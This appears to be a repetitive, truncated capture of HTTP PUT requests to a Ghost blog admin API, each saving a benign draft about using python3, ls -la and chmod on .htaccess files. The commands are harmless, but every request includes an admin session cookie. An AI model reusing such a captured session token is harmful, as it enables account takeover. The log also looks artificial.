guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8103", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8140", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8105", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8135", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8578", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the 